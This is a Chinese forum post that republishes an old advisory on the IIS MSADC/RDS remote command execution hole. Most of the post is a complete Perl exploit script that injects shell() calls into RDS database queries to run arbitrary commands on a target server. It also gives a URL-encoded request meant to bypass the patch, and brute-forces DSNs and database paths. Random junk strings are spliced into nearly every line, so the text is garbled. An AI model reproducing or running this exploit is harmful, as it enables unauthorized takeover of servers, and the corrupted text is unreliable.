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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) gg#lI|  
<{YzmN\Z  
涉及程序: ;v.J D7  
Microsoft NT server @W==)S%O  
sint":1FC  
描述: /3sX>Rj  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 \PG_i'R  
Nm-E4N#'i  
详细: -Oz! GX  
如果你没有时间读详细内容的话,就删除: bJ6H6D>  
c:\Program Files\Common Files\System\Msadc\msadcs.dll utn,`v   
有关的安全问题就没有了。 d6??OO=~>M  
 <pD  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 2#/sIu-L  
,C_MB1u  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ]ab q$Y'  
关于利用ODBC远程漏洞的描述,请参看: lh XD9ed  
%503 <j  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 3Q7PY46  
m*i,|{UZ  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 :2wT)wz  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp F8/n;  
5'w&M{{9  
这里不再论述。 WYcZD_  
Znh;#%n|  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: M[-/&;`f@  
uFlf#t =  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset wM-H5\9n  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 1L?W+zMO  
P"@^BQ4  
K_.|FEV  
#将下面这段保存为txt文件,然后: "perl -x 文件名" *o(bB!q"c  
,u- 9e4  
#!perl 9Gx`[{wI9<  
# {FILt3f;  
# MSADC/RDS 'usage' (aka exploit) script BXz g33  
# xsS;<uCD  
# by rain.forest.puppy P^ lzbWj^  
# \SYeDy  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 0Xn,q]@Z  
# beta test and find errors! $d.Dk4.ed  
-0NkAQrg  
use Socket; use Getopt::Std; KO"+"1 .  
getopts("e:vd:h:XR", \%args); i;IhsKO0R  
9gIim   
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; /pLf?m9  
']1a  
if (!defined $args{h} && !defined $args{R}) { rx<P#y]3)  
print qq~ !>kg:xV  
Usage: msadc.pl -h <host> { -d <delay> -X -v } g$/7km{TP  
-h <host> = host you want to scan (ip or domain) EEx:Xk%5hX  
-d <seconds> = delay between calls, default 1 second "zqa:D26  
-X = dump Index Server path table, if available g-m,n=qu  
-v = verbose /paZJ}Pr.  
-e = external dictionary file for step 5 (FGH t/!  
uy<b5.!-  
Or a -R will resume a command session NJQy*~P  
0&tr3!h\  
~; exit;} P{StF`>Y  
g{2~G6%;0  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; n(SeJk%>9  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} %8YUK/(|n  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ?papk4w  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Q `-Xx  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} sl P>;  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ~JS@$#  
]kO|kIs  
if (!defined $args{R}){ $ret = &has_msadc; xjrL@LO#  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 3h A5"G+7  
3`NSSS  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" n+2>jY  
. "cmd /c "; g{K \  
$in=<STDIN>; chomp $in; Kt/:caD  
$command="cmd /c " . $in ; @V^5_K  
e :T9f('  
if (defined $args{R}) {&load; exit;} f*p=j(sF  
[N"=rY4G  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 6X4r2Vq  
&try_btcustmr; MfdkvJ'  
Ev3,p`zS._  
print "\nStep 2: Trying to make our own DSN..."; lW4 6S  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; }I18|=TB  
\}YAQ'T  
print "\nStep 3: Trying known DSNs..."; s;sr(34  
&known_dsn; Zv8_<>e  
Wo,93]  
print "\nStep 4: Trying known .mdbs..."; 5Ux=5a  
&known_mdb; &(|Ot`el]v  
~b4kV)[ q  
if (defined $args{e}){ {Wfwf  
print "\nStep 5: Trying dictionary of DSN names..."; "}oo`+]Cq  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } P=s3&NDD  
AWA J*6Z  
print "Sorry Charley...maybe next time?\n"; X `F>kp1  
exit; ^}J,;Zhu5  
O.-A)S@  
############################################################################## DV)NY!  
5Z=GFKf|  
sub sendraw { # ripped and modded from whisker W[>qiYf^b  
sleep($delay); # it's a DoS on the server! At least on mine... XdnpL$0  
my ($pstr)=@_; a=6@} l1<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || T#vY(d  
die("Socket problems\n"); Zvra >%  
if(connect(S,pack "SnA4x8",2,80,$target)){ b S'dXP  
select(S); $|=1; 7Rc>LI* '  
print $pstr; my @in=<S>; *uKYrs [  
select(STDOUT); close(S); BbPRPkV  
return @in; :% +9y @%  
} else { die("Can't connect...\n"); }} [lu+"V,<LJ  
uWP0(6 %  
############################################################################## k"m+i  
Mq#Hi9SKY  
sub make_header { # make the HTTP request Y)#,6\=U  
my $msadc=<<EOT bXqTc2>=  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 A-rj: k!  
User-Agent: ACTIVEDATA 0r?]b*IEK  
Host: $ip /)?qD  
Content-Length: $clen /-(OJN5F^  
Connection: Keep-Alive 05 .EI)7  
R0bgt2J  
ADCClientVersion:01.06 -M4VC^_  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 V6kDyl(  
J*AYZS-tSE  
--!ADM!ROX!YOUR!WORLD! _94R8?\_V7  
Content-Type: application/x-varg 90ov[|MkM  
Content-Length: $reqlen {!!8 *ix  
f'BmIFb#  
EOT itcM-?  
; $msadc=~s/\n/\r\n/g; HYZp= *eb  
return $msadc;} 4H{$zMq8  
&2n 5m&   
############################################################################## VJ1rU mO~  
n;~'W*Ln0  
sub make_req { # make the RDS request Qo*OC 9E`  
my ($switch, $p1, $p2)=@_; s{42_O?,c  
my $req=""; my $t1, $t2, $query, $dsn; nB/`~_9  
o>&-B.zq  
if ($switch==1){ # this is the btcustmr.mdb query +6n\5+5  
$query="Select * from Customers where City=" . make_shell(); iP1yy5T  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . |:SIyXGbY  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 7ZUS  
57_AJT hR  
elsif ($switch==2){ # this is general make table query  RcZ&/MY  
$query="create table AZZ (B int, C varchar(10))"; vYq"W%  
$dsn="$p1";} kovJ9  
.&h|r>*|J  
elsif ($switch==3){ # this is general exploit table query Sw>,Q-32  
$query="select * from AZZ where C=" . make_shell(); t@iw&> 8z  
$dsn="$p1";} l7Wdbx5x0  
tg9{(_ t/W  
elsif ($switch==4){ # attempt to hork file info from index server &z>iqm"Ww  
$query="select path from scope()"; R~;8v1>K  
$dsn="Provider=MSIDXS;";} ~y/qm [P  
\{qtdTd  
elsif ($switch==5){ # bad query Hr \vu`p$  
$query="select"; >D_)z/v?"  
$dsn="$p1";} (-@I'CFd  
j!@, r^(  
$t1= make_unicode($query); $8Z4jo  
$t2= make_unicode($dsn); R_vK^Da  
$req = "\x02\x00\x03\x00"; urQ<r{$x0  
$req.= "\x08\x00" . pack ("S1", length($t1)); 8:Dkf v  
$req.= "\x00\x00" . $t1 ; U? ;Q\=>  
$req.= "\x08\x00" . pack ("S1", length($t2)); H;+98AIy`  
$req.= "\x00\x00" . $t2 ; zKh<zj  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; anORoK.  
return $req;} l-SVI9|<0  
W'e{2u  
############################################################################## (@=h(u.  
qV-1aaA  
sub make_shell { # this makes the shell() statement X<f4X"y  
return "'|shell(\"$command\")|'";} MFipXE!  
g``S SU  
############################################################################## 8< J3Xe  
HaRx(p0  
sub make_unicode { # quick little function to convert to unicode }}Gkipp  
my ($in)=@_; my $out; .s|5AC[  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } %2^V.`0T  
return $out;} qVvnl  
!yz3:Yzu  
############################################################################## =!/T4Oo  
Z5`V\$  
sub rdo_success { # checks for RDO return success (this is kludge) Wxi;Tq9C@_  
my (@in) = @_; my $base=content_start(@in); 51ILR9 Bc_  
if($in[$base]=~/multipart\/mixed/){ sGa "  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} i;:}{G<  
return 0;} i6O'UzD@T  
@2>ce2+  
############################################################################## zv^+8h7k  
@scSW5+  
sub make_dsn { # this makes a DSN for us !"ydl2  
my @drives=("c","d","e","f"); BT f  
print "\nMaking DSN: "; `*]r+J2  
foreach $drive (@drives) { 8rNf4]5@X(  
print "$drive: "; }$ a *XY1  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . s,M]f,T  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" M-8d*#_P  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); qr~zTBT] E  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; DP!8c  
return 0 if $2 eq "404"; # not found/doesn't exist aED73:b  
if($2 eq "200") { "M,Hm!j  
foreach $line (@results) { X& XD2o"rt  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} &C#?&AQ  
} return 0;} d-I=xpB  
Ze?H  
############################################################################## i\* b<V  
8boiJku`  
sub verify_exists { Z,>owoP4  
my ($page)=@_; p1IN%*IV+o  
my @results=sendraw("GET $page HTTP/1.0\n\n"); '1Ex{$Yk  
return $results[0];} I1p{(fJ  
]DZ~"+LaG  
############################################################################## '"6*C*XS  
Io('kCOR;  
sub try_btcustmr { t*-_MG  
my @drives=("c","d","e","f"); O`;o"\P<  
my @dirs=("winnt","winnt35","winnt351","win","windows"); WHRBYq_  
3RI %OCGF  
foreach $dir (@dirs) { <JW %h :\t  
print "$dir -> "; # fun status so you can see progress EIOP+9zP  
foreach $drive (@drives) { V}h)e3X  
print "$drive: "; # ditto 6-\M }xq?  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; p<B*)1Tj0  
$reqlenlen=length( "$reqlen" ); 5&]a8p{  
$clen= 206 + $reqlenlen + $reqlen; JRDIGS_~  
6)~7Uf:<v  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); W Qe Q`pM  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} DyRU$U  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} %KR2Vlh0  
v\5`n@}4  
############################################################################## (?P\;yDG  
)%hW3w  
sub odbc_error { Yb'%J@T}  
my (@in)=@_; my $base; ?%b#FXA  
my $base = content_start(@in); QL-E4]   
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this >{"E~U  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; q oz[x  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; cfHtUv  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ZD4:'m`T/  
return $in[$base+4].$in[$base+5].$in[$base+6];} ,oJ$m$(Lj  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; IG!(q%Gf  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . {7EpljH@  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} tl=e!  
]5e|W Q>*X  
############################################################################## Crezo?  
@ b} -<~  
sub verbose { n_6#Df*  
my ($in)=@_; SjvSnb_3  
return if !$verbose; -CTLQyj)  
print STDOUT "\n$in\n";} 4?c0rC<  
nlc$"(eA[H  
##############################################################################  bDq<]h_7  
Dt'bbX'edw  
sub save { {wf5HA  
my ($p1, $p2, $p3, $p4)=@_; g2YE^EKU~  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; HgTBON(  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 9x#T j/5%  
close OUT;} X:QRy9]  
$ou/ Fn  
############################################################################## 6U1_Wk?   
/wi/i*;A  
sub load { x}OJ~Yk]  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; n/% M9osF  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); (bD#PQXzm  
@p=<IN>; close(IN); qU ,{jD$  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); |J~A )Bw?  
$target= inet_aton($ip) || die("inet_aton problems"); KB gFS%-W  
print "Resuming to $ip ..."; D4T(Dce  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; H?;@r1ZAn  
if($p[1]==1) { .RWq!Z=)3  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; EnEaUb?P  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; y]uBVn'u  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); gj4ONmY  
if (rdo_success(@results)){print "Success!\n";} N({-&A.N  
else { print "failed\n"; verbose(odbc_error(@results));}} -`PLewvX  
elsif ($p[1]==3){ >j&k:  
if(run_query("$p[3]")){ ;7(vqm<V2~  
print "Success!\n";} else { print "failed\n"; }} ,E2c9V'  
elsif ($p[1]==4){ CW,|l0i  
if(run_query($drvst . "$p[3]")){ %z-n2%  
print "Success!\n"; } else { print "failed\n"; }} dlMjy$/T  
exit;} }s.\B    
.G>~xm0  
############################################################################## A9z3SJ\vXl  
lN_b&92  
sub create_table { 1{G@'# (  
my ($in)=@_; fbkAu  
$reqlen=length( make_req(2,$in,"") ) - 28; ~31-)*tJ]  
$reqlenlen=length( "$reqlen" ); -$`q:j  
$clen= 206 + $reqlenlen + $reqlen; M[L@ej  
my @results=sendraw(make_header() . make_req(2,$in,"")); x)f<lZ^L&H  
return 1 if rdo_success(@results); 9 }  ]C  
my $temp= odbc_error(@results); verbose($temp); B. #-@  
return 1 if $temp=~/Table 'AZZ' already exists/; )2R]KU_=g  
return 0;} wYh]3  
X @X`,/{X  
############################################################################## sAjN<P  
i"n1E@  
sub known_dsn { T;3B_ lu]  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Jjh=zxR>  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", bs)Ro/7}  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 3vEwui-5  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); )b,FE}YX  
h2 >a_0"  
foreach $dSn (@dsns) { aQV?}  
print "."; )~#3A@  
next if (!is_access("DSN=$dSn")); 0I*{CVTQj  
if(create_table("DSN=$dSn")){ Qi|k,1A0  
print "$dSn successful\n"; t]xR`Rr;X  
if(run_query("DSN=$dSn")){ c\rP"y|S};  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { `r0MQkk  
print "Something's borked. Use verbose next time\n";}}} print "\n";} }jYVB|2  
+KIFLuL  
############################################################################## YyC$\HH6  
ZJHaY09N  
sub is_access { 4"Mq]_D  
my ($in)=@_; I1JF2" {c  
$reqlen=length( make_req(5,$in,"") ) - 28; /Y| <0tq  
$reqlenlen=length( "$reqlen" ); P#AS")Sj  
$clen= 206 + $reqlenlen + $reqlen; PsN_c[+  
my @results=sendraw(make_header() . make_req(5,$in,"")); \sS0@gnDI  
my $temp= odbc_error(@results); H)5"<=]  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ?qbq\t  
return 0;} %5j*e  
FMC]KXSd  
############################################################################## 8#RL2)7Uy`  
{%6g6?=j  
sub run_query { ,m5tO  
my ($in)=@_; iO}KERfU  
$reqlen=length( make_req(3,$in,"") ) - 28; LVJn2t^  
$reqlenlen=length( "$reqlen" ); K/8TwB?I  
$clen= 206 + $reqlenlen + $reqlen; TmJXkR.5  
my @results=sendraw(make_header() . make_req(3,$in,"")); RT[ E$H  
return 1 if rdo_success(@results); 0_-P~^A  
my $temp= odbc_error(@results); verbose($temp); /$|-!e<5b\  
return 0;} i\kDb=  
}`]Et99Q5  
############################################################################## i~rb-~o  
2FR 5RG oD  
sub known_mdb { 5`q#~fJ2  
my @drives=("c","d","e","f","g"); )<.y{_QUN  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ]aYuBoj  
my $dir, $drive, $mdb; )oZ2,]us!  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; i>(TPj|  
?)7UqVyq  
# this is sparse, because I don't know of many u"DE?  
my @sysmdbs=( "\\catroot\\icatalog.mdb", vZXdc+2l  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", LXf|n  
"\\system32\\certmdb.mdb", n_*.i1\'w  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% )QI#szv6  
Y.% Vvg4z3  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", =:\5*  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 8qoA5fW>  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", T2|os{U  
"\\cfusion\\cfapps\\security\\realm_.mdb", 8( bK\-b  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", GF*uDJ Kp  
"\\cfusion\\database\\cfexamples.mdb", P|TM4i]  
"\\cfusion\\database\\cfsnippets.mdb", m,ur{B8 :  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", lz _ r  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 6Ia[`x uL  
"\\cfusion\\brighttiger\\database\\cleam.mdb", So4#n7  
"\\cfusion\\database\\smpolicy.mdb", 7yOBxb   
"\\cfusion\\database\cypress.mdb", *pyC<4W  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", @?& i   
"\\website\\cgi-win\\dbsample.mdb", :bXTV?#0  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", N:,V{Pw  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" =FfR?6 ~  
); #these are just TW=N+ye^1(  
foreach $drive (@drives) { 'h[7AZ&)#  
foreach $dir (@dirs){ nPH\Lra  
foreach $mdb (@sysmdbs) { x!u6LDq0  
print "."; 7H4kj7UK  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ n%!50E6*:  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Uh'W d_?  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ~w(A3I.  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; V@K^9R,|  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ::@JL  
u\km_e  
foreach $drive (@drives) { ?\zyeWK0L  
foreach $mdb (@mdbs) { S(lqj6aa}  
print "."; 845\u&  
if(create_table($drv . $drive . $dir . $mdb)){ *Zn,v-d  
print "\n" . $drive . $dir . $mdb . " successful\n"; qipS`:TER  
if(run_query($drv . $drive . $dir . $mdb)){ /mwDVP<z /  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; rw75(Lp{  
} else { print "Something's borked. Use verbose next time\n"; }}}} 6` 3kNk;  
} ]NKz5[9D  
^c| 0?EH  
############################################################################## u3sr"w&  
T7N\b]?j@Y  
sub hork_idx { {_ZbPPh;M"  
print "\nAttempting to dump Index Server tables...\n"; &09G9GsnQ  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; OOYdrv,  
$reqlen=length( make_req(4,"","") ) - 28; WL3J>S_  
$reqlenlen=length( "$reqlen" ); EdZNmL3cB  
$clen= 206 + $reqlenlen + $reqlen; N8X)/W  
my @results=sendraw2(make_header() . make_req(4,"","")); z'0 =3  
if (rdo_success(@results)){ -#g0  
my $max=@results; my $c; my %d; ~}Z{hs)  
for($c=19; $c<$max; $c++){ H-8_&E?6m  
$results[$c]=~s/\x00//g; '@"A{mrE  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; {wD "|K  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; mOb@w/f  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; FQcm =d_s  
$d{"$1$2"}="";} Sf t,$  
foreach $c (keys %d){ print "$c\n"; } D?"Q)kVuD  
} else {print "Index server doesn't seem to be installed.\n"; }} 1119YeL  
#vTF:r  
############################################################################## nDNK}O~'  
vQ[ Tc V  
sub dsn_dict { Qk&6Z%  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); c43&[xP Lz  
while(<IN>){ l Ng)k1  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; "rw'mogRL  
next if (!is_access("DSN=$dSn")); y <P1VES  
if(create_table("DSN=$dSn")){ mQ\oR|  
print "$dSn successful\n"; b+$-f:mj  
if(run_query("DSN=$dSn")){ YwJ<0;:+hS  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { +^a@U^V  
print "Something's borked. Use verbose next time\n";}}} ^k!u  
print "\n"; close(IN);} o|V=3y Ok  
7Ur'@wr  
############################################################################## oSP^ .BJ$  
}$:ha>  
sub sendraw2 { # ripped and modded from whisker u)l[*";S  
sleep($delay); # it's a DoS on the server! At least on mine... l{. XhB  
my ($pstr)=@_; 9A}nZ1Y  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ?)4c!3#  
die("Socket problems\n"); xic&m5j m  
if(connect(S,pack "SnA4x8",2,80,$target)){ Chtls;Ph[  
print "Connected. Getting data"; Tg v]30F)  
open(OUT,">raw.out"); my @in; >n>gX/S<C  
select(S); $|=1; print $pstr;  j g_;pn  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} _Tf0L<A'R  
close(OUT); select(STDOUT); close(S); return @in; MUp{2_RA  
} else { die("Can't connect...\n"); }} xGX U7w:X  
AaJz3oncJ  
############################################################################## ~<=wTns!  
pbqJtBBDDS  
sub content_start { # this will take in the server headers d'p@[1/  
my (@in)=@_; my $c; |exjrsmM*  
for ($c=1;$c<500;$c++) { 9Oc(Gl5az  
if($in[$c] =~/^\x0d\x0a/){ w5mSoK b  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } RaB%N$.9s  
else { return $c+1; }}} -)E6{  
return -1;} # it should never get here actually :UDe\zcd "  
AkBEE  
############################################################################## &fwb?Vn4  
m[&pR2T  
sub funky { }_cX" s  
my (@in)=@_; my $error=odbc_error(@in); efm#:>H  
if($error=~/ADO could not find the specified provider/){ t8S,C4  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; WSV% Oy3V  
exit;} M"z3F!-j  
if($error=~/A Handler is required/){ ]a\HgFp@  
print "\nServer has custom handler filters (they most likely are patched)\n"; UC?i>HsJrX  
exit;} ~H`(zzk  
if($error=~/specified Handler has denied Access/){ c+]5[6  
print "\nServer has custom handler filters (they most likely are patched)\n"; 'U4@Sax,  
exit;}} (1;%V>,L  
O`='8'6zW\  
############################################################################## wTu=v  
N`!=z++G  
sub has_msadc { ?L6ACi`9  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ZbLN:g}  
my $base=content_start(@results); 8J+:5b_?  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); m*H6\on:  
return 0;} l|~SVk|  
c!>",rce  
######################## NFlrr*=t>  
<}^l MBa  
ewzZb*\  
解决方案: Z<6Fq*I  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll  tvvRHvL  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 4?9cyv4H  
Na2n4x!  
拿出来充数 哈哈
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